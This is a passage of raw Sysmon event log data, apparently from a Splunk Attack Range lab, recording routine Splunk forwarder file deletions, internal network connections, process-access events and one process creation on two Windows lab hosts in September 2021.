Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11EA3BF49AA4A07878A4B85F2A2E6B2C,SHA256=CA1944687DDE1B3587673E0A66D724A323840B59FE69EF255C86CC112D0D42B0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000054446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:23.402{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63102-false10.0.1.12-8000- 23542300x800000000000000017409Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:27.814{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9004518D3FDB2A68E92365FF008DFF3,SHA256=384DC949E8718D9B1A19EA4621D53A1C0A56219EBDF309D77D42C78FF468C540,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:27.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F1673AA346BDEC5DC0A9A97382E3261,SHA256=227A8F99E432B44A3B8BD7061FCFCF48A3D854717177D905224ABD66062A2659,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017408Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:26.494{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50358-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017410Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:28.829{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF78A35CC6A091491AC6B31614FE2417,SHA256=9ED8CA31BCFB58A3043E3E83A80B014767C7280014928E6D61847866D11836AD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:28.757{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40046EC7CF759CB3E2E67FAF55472B4D,SHA256=053E12AD30768A29B76F557A72322E4230BD95D40E1CFC4D0C109F333DEC01AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017411Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:29.845{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6261F91D928840F158C33FAAC03C2AD,SHA256=B37F9FB0730F70AB968B664FF2544C3141071DF69D3F3E8A0C45F64B98ED092A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:29.955{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:29.802{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=303A3AB52C7AA83A54B764B2A01389F1,SHA256=8C7CF3ADA82614809F4275D94A6675E92E9E97EFB876BE9AA1EEA291920DBE5E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:30.823{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BF9AB3FDCC949BD798DA9F8BE0FDCFA,SHA256=B81E7A4E13F609559FDC5E42C7BF30A77F9C67DEE809DD3C27313CF35E9444FC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017412Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:30.845{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=194E3D01E76B09E9B75F4B74799114B9,SHA256=2774E304F1D613E2AB218DA7CB792DDD3A75217CA629EA24AB15B0C19ECF1672,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017426Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.862{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2B2EC4EEF8E3B4C80AFBAC72CABA658,SHA256=D0EBA4B9CF3BE12C8724A48477B623E91C2C492AC1DF8F4E0F4DCECF30A1C93A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:31.854{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99858CC6428A23F72A17C3A6EC046F54,SHA256=63F5BEA8B1013AEAA40339DE70AAF6DD19DA7B9A531DA1B918FFCA1E54D997FC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000054453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:29.234{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63103-false10.0.1.12-8089- 10341000x800000000000000017425Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73FF-613B-2105-00000000F101}680C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017424Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017423Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017422Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017421Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017420Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017419Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017418Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017417Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017416Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017415Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-73FF-613B-2105-00000000F101}680C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017414Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.609{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73FF-613B-2105-00000000F101}680C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017413Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:31.610{625C326B-73FF-613B-2105-00000000F101}680C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:32.855{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=60E0F2EA348CF5DC54C4D8C5307E79E0,SHA256=522B1FBC075068A6DC61702AE9C75CC3A2A8B3AFF5845564CBBA112CD099C266,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017455Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.750{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7CD6AF2247DEDFCDB9EC19101FFA2D10,SHA256=596F0AD2D2365E2CD9FC6ED2C5E14F81E035D891F70CA07823CB7EE1B2D733BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017454Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.734{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=018F27F99270A04D8BE2F8F18EA568A8,SHA256=8F7400A36932E501518282636583C9D6B6C6B691A801F69FBF6120F0C1184097,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017453Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7400-613B-2305-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017452Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017451Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017450Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017449Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C: